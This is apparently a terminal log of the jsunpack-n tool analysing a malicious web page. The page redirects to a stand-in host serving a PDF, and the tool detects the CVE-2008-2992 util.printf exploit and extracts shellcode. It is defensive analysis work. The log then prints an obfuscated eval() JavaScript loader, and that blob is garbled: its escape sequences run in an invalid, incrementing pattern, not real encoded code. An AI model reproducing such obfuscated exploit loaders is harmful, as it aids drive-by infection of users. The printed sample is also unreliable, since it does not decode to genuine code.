

```
% ./jsunpack-n.py -Vau http://localhost/mal/
URL fetch localhost/mal/
(referer=www.google.com/trends/hottrends)
saved 3950 bytes to ./files/fetch_b8c4e2f68aeb5c8d37a1414c18d38b20e204c3f

Processing ./files/fetch_b8c4e2f68aeb5c8d37a1414c18d38b20e204c3f
Active Mode, fetching 1 new URLs
  fetching URL (var location) malware.evill/so131/so.html
  (referer=localhost/mal/)
  saved 112 bytes to ./files/fetch_907462344028fcb137e18bd5aab9cf465e4c977

Active Mode, fetching 1 new URLs
  fetching URL (iframe) malware.evill/so131/e.pdf
  (referer=malware.evill/so131/so.html)
  saved 6571 bytes to ./files/fetch_8f725f78d67d162d133103b9854066d6354562092

[nothing detected;children=malicious:10] localhost/mal/
info: [decodingLevel=0] found JavaScript
info: saved original parsed JavaScript to ./files/veryverbose_8494b97a39d511200d0f4dceb29c88ba5a1ae57 //([1]
info: [decodingLevel=0] decoded 163 bytes (./files/decoding_3220f71f1fe31dd45fb90492304e2e8da2c0935c)
info: [var location] URL=malware.evill/so131/so.html
info: [decodingLevel=1] found JavaScript
info: saved original parsed JavaScript to ./files/veryverbose_3220f71f1fe31dd45fb90492304e2e8da2c0935c //([2]
[nothing detected;children=malicious:10] (var location) malware.evill/so131/so.html
info: [iframe .] malware.evill/so131/e.pdf
info: [0] no JavaScript
[malicious:10] [PDF] (iframe) malware.evill/so131/e.pdf
info: [decodingLevel=0] found JavaScript
info: [decodingLevel=0] decoded 5355 bytes (./files/decoding_b88e4397bdb05c82426e6b1882b0731929efc60a)
malicious: Utilprintf CVE-2008-2992 detected
info: [decodingLevel=1] found JavaScript
info: saved original parsed JavaScript to ./files/veryverbose_b88e4397bdb05c82426e6b1882b0731929efc60a //([3]
info: [decodingLevel=1] decoded 1648973 bytes (./files/decoding_ce3d765602b797cd8a79b3e14b6b8a0ad5e66d2)
malicious: Alert detected //alert CVE-2008-2992 util.printf length (13,undefined)
malicious: shellcode of length 516/258 (./files/shellcode_8102cac89b51cc2df54035f4cdf850fc8c9a833)
malicious: shellcode of length 1580/790 (./files/shellcode_af6d1dd6c50e6825d810d2c2908ef71e340e68f0)
malicious: shellcode of length 522708/261354 (./files/shellcode_224b5662d1f8e30e82dd076fff8081f515a8785)
malicious: shellcode of length 2048/1024 (./files/shellcode_ae651cf57f5ca911adb872b3e8faa0d5f2a1665b)
malicious: shellcode of length 20000/380081249 (./files/shellcode_e66ba57a24351236f222779ef67544f763ab898)
malicious: shellcode of length 1024/512 (./files/shellcode_30db4a5495230768c675cf8714fad10ed05d6668)
malicious: shellcode of length 1540/770 (./files/shellcode_99c6a6494f97497c7a7bd21f7ae9b238a6f3125)
info: [2] no JavaScript
info: [file] saved malware.evill/so131/e.pdf to (./files/original_8f725f78d67d162d133103b9854066d6354562092)

[file] created ./files/fetch_b8c4e2f68aeb5c8d37a1414c18d38b20e204c3f from localhost/mal/
[file] created ./files/veryverbose_8494b97a39d511200d0f4dceb29c88ba5a1ae57 from localhost/mal/
[file] created ./files/decoding_3220f71f1fe31dd45fb90492304e2e8da2c0935c from localhost/mal/
[file] created ./files/veryverbose_3220f71f1fe31dd45fb90492304e2e8da2c0935c from localhost/mal/
[file] created ./files/fetch_907462344028fcb137e18bd5aab9cf465e4c977 from malware.evill/so131/so.html
[file] created ./files/fetch_8f725f78d67d162d133103b9854066d6354562092 from malware.evill/so131/e.pdf
[file] created ./files/decoding_b88e4397bdb05c82426e6b1882b0731929efc60a from malware.evill/so131/e.pdf
[file] created ./files/veryverbose_b88e4397bdb05c82426e6b1882b0731929efc60a from malware.evill/so131/e.pdf
[file] created ./files/decoding_ce3d765602b797cd8a79b3e14b6b8a0ad5e66d2 from malware.evill/so131/e.pdf
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[file] created ./files/shellcode_e66ba57a24351236f222779ef67544f763ab898 from malware.evill/so131/e.pdf
[file] created ./files/shellcode_30db4a5495230768c675cf8714fad10ed05d6668 from malware.evill/so131/e.pdf
[file] created ./files/shellcode_99c6a6494f97497c7a7bd21f7ae9b238a6f3125 from malware.evill/so131/e.pdf
[file] created ./files/original_8f725f78d67d162d133103b9854066d6354562092 from malware.evill/so131/e.pdf

% less ./files/veryverbose_8494b97a39d511200d0f4dceb29c88ba5a1ae57 //([1]
;
eval ('x76x61x72x20x5fx30x78x38x62x32x35x3dx1x5b1x22x1x5cx78x33x30x30x5cx78x32x42x45x5cx78x33x31x31x5cx78x33x44x45x5cx78x32x42x32x5cx78x33x32x45x5cx78x33x41x45x5cx78x32x46x45x5cx78x33x42x46x45x5cx78x33x43x42x46x45x5cx78x33x44x46x45x5cx78x33x45x46x45x5cx78x33x46x45x5cx78x33x47x46x45x5cx78x33x48x46x45x5cx78x33x49x46x45x5cx78x33x50x46x45x5cx78x33x51x46x45x5cx78x33x52x46x45x5cx78x33x53x46x45x5cx78x33x54x46x45x5cx78x33x55x46x45x5cx78x33x56x46x45x5cx78x33x57x46x45x5cx78x33x58x46x45x5cx78x33x59x46x45x5cx78x33x60x46x45x5cx78x33x61x46x45x5cx78x33x62x46x45x5cx78x33x63x46x45x5cx78x33x64x46x45x5cx78x33x65x46x45x5cx78x33x66x46x45x5cx78x33x67x46x45x5cx78x33x68x46x45x5cx78x33x69x46x45x5cx78x33x70x46x45x5cx78x33x71x46x45x5cx78x33x72x46x45x5cx78x33x73x46x45x5cx78x33x74x46x45x5cx78x33x75x46x45x5cx78x33x76x46x45x5cx78x33x77x46x45x5cx78x33x78x46x45x5cx78x33x79x46x45x5cx78x33x80x46x45x5cx78x33x81x46x45x5cx78x33x82x46x45x5cx78x33x83x46x45x5cx78x33x84x46x45x5cx78x33x85x46x45x5cx78x33x86x46x45x5cx78x33x87x46x45x5cx78x33x88x46x45x5cx78x33x89x46x45x5cx78x33x90x46x45x5cx78x33x91x46x45x5cx78x33x92x46x45x5cx78x33x93x46x45x5cx78x33x94x46x45x5cx78x33x95x46x45x5cx78x33x96x46x45x5cx78x33x97x46x45x5cx78x33x98x46x45x5cx78x33x99x46x45x5cx78x33x100x46x45x5cx78x33x101x46x45x5cx78x33x102x46x45x5cx78x33x103x46x45x5cx78x33x104x46x45x5cx78x33x105x46x45x5cx78x33x106x46x45x5cx78x33x107x46x45x5cx78x33x108x46x45x5cx78x33x109x46x45x5cx78x33x110x46x45x5cx78x33x111x46x45x5cx78x33x112x46x45x5cx78x33x113x46x45x5cx78x33x114x46x45x5cx78x33x115x46x45x5cx78x33x116x46x45x5cx78x33x117x46x45x5cx78x33x118x46x45x5cx78x33x119x46x45x5cx78x33x120x46x45x5cx78x33x121x46x45x5cx78x33x122x46x45x5cx78x33x123x46x45x5cx78x33x124x46x45x5cx78x33x125x46x45x5cx78x33x126x46x45x5cx78x33x127x46x45x5cx78x33x128x46x45x5cx78x33x129x46x45x5cx78x33x130x46x45x5cx78x33x131x46x45x5cx78x33x132x46x45x5cx78x33x133x46x45x5cx78x33x134x46x45x5cx78x33x135x46x45x5cx78x33x136x46x45x5cx78x33x137x46x45x5cx78x33x138x46x45x5cx78x33x139x46x45x5cx78x33x140x46x45x5cx78x33x141x46x45x5cx78x33x142x46x45x5cx78x33x143x46x45x5cx78x33x144x46x45x5cx78x33x145x46x45x5cx78x33x146x46x45x5cx78x33x147x46x45x5cx78x33x148x46x45x5cx78x33x149x46x45x5cx78x33x150x46x45x5cx78x33x151x46x45x5cx78x33x152x46x45x5cx78x33x153x46x45x5cx78x33x154x46x45x5cx78x33x155x46x45x5cx78x33x156x46x45x5cx78x33x157x46x45x5cx78x33x158x46x45x5cx78x33x159x46x45x5cx78x33x160x46x45x5cx78x33x161x46x45x5cx78x33x162x46x45x5cx78x33x163x46x45x5cx78x33x164x46x45x5cx78x33x165x46x45x5cx78x33x166x46x45x5cx78x33x167x46x45x5cx78x33x168x46x45x5cx78x33x169x46x45x5cx78x33x170x46x45x5cx78x33x171x46x45x5cx78x33x172x46x45x5cx78x33x173x46x45x5cx78x33x174x46x45x5cx78x33x175x46x45x5cx78x33x176x46x45x5cx78x33x177x46x45x5cx78x33x178x46x45x5cx78x33x179x46x45x5cx78x33x180x46x45x5cx78x33x181x46x45x5cx78x33x182x46x45x5cx78x33x183x46x45x5cx78x33x184x46x45x5cx78x33x185x46x45x5cx78x33x186x46x45x5cx78x33x187x46x45x5cx78x33x188x46x45x5cx78x33x189x46x45x5cx78x33x190x46x45x5cx78x33x191x46x45x5cx78x33x192x46x45x5cx78x33x193x46x45x5cx78x33x194x46x45x5cx78x33x195x46x45x5cx78x33x196x46x45x5cx78x33x197x46x45x5cx78x33x198x46x45x5cx78x33x199x46x45x5cx78x33x200x46x45x5cx78x33x201x46x45x5cx78x33x202x46x45x5cx78x33x203x46x45x5cx78x33x204x46x45x5cx78x33x205x46x45x5cx78x33x206x46x45x5cx78x33x207x46x45x5cx78x33x208x46x45x5cx78x33x209x46x45x5cx78x33x210x46x45x5cx78x33x211x46x45x5cx78x33x212x46x45x5cx78x33x213x46x45x5cx78x33x214x46x45x5cx78x33x215x46x45x5cx78x33x216x46x45x5cx78x33x217x46x45x5cx78x33x218x46x45x5cx78x33x219x46x45x5cx78x33x220x46x45x5cx78x33x221x46x45x5cx78x33x222x46x45x5cx78x33x223x46x45x5cx78x33x224x46x45x5cx78x33x225x46x45x5cx78x33x226x46x45x5cx78x33x227x46x45x5cx78x33x228x46x45x5cx78x33x229x46x45x5cx78x33x230x46x45x5cx78x33x231x46x45x5cx78x33x232x46x45x5cx78x33x233x46x45x5cx78x33x234x46x45x5cx78x33x235x46x45x5cx78x33x236x46x45x5cx78x33x237x46x45x5cx78x33x238x46x45x5cx78x33x239x46x45x5cx78x33x240x46x45x5cx78x33x241x46x45x5cx78x33x242x46x45x5cx78x33x243x46x45x5cx78x33x244x46x45x5cx78x33x245x46x45x5cx78x33x246x46x45x5cx78x33x247x46x45x5cx78x33x248x46x45x5cx78x33x249x46x45x5cx78x33x250x46x45x5cx78x33x251x46x45x5cx78x33x252x46x45x5cx78x33x253x46x45x5cx78x33x254x46x45x5cx78x33x255x46x45x5cx78x33x256x46x45x5cx78x33x257x46x45x5cx78x33x258x46x45x5cx78x33x259x46x45x5cx78x33x260x46x45x5cx78x33x261x46x45x5cx78x33x262x46x45x5cx78x33x263x46x45x5cx78x33x264x46x45x5cx78x33x265x46x45x5cx78x33x266x46x45x5cx78x33x267x46x45x5cx78x33x268x46x45x5cx78x33x269x46x45x5cx78x33x270x46x45x5cx78x33x271x46x45x5cx78x33x272x46x45x5cx78x33x273x46x45x5cx78x33x274x46x45x5cx78x33x275x46x45x5cx78x33x276x46x45x5cx78x33x277x46x45x5cx78x33x278x46x45x5cx78x33x279x46x45x5cx78x33x280x46x45x5cx78x33x281x46x45x5cx78x33x282x46x45x5cx78x33x283x46x45x5cx78x33x284x46x45x5cx78x33x285x46x45x5cx78x33x286x46x45x5cx78x33x287x46x45x5cx78x33x288x46x45x5cx78x33x289x46x45x5cx78x33x290x46x45x5cx78x33x291x46x45x5cx78x33x292x46x45x5cx78x33x293x46x45x5cx78x33x294x46x45x5cx78x33x295x46x45x5cx78x33x296x46x45x5cx78x33x297x46x45x5cx78x33x298x46x45x5cx78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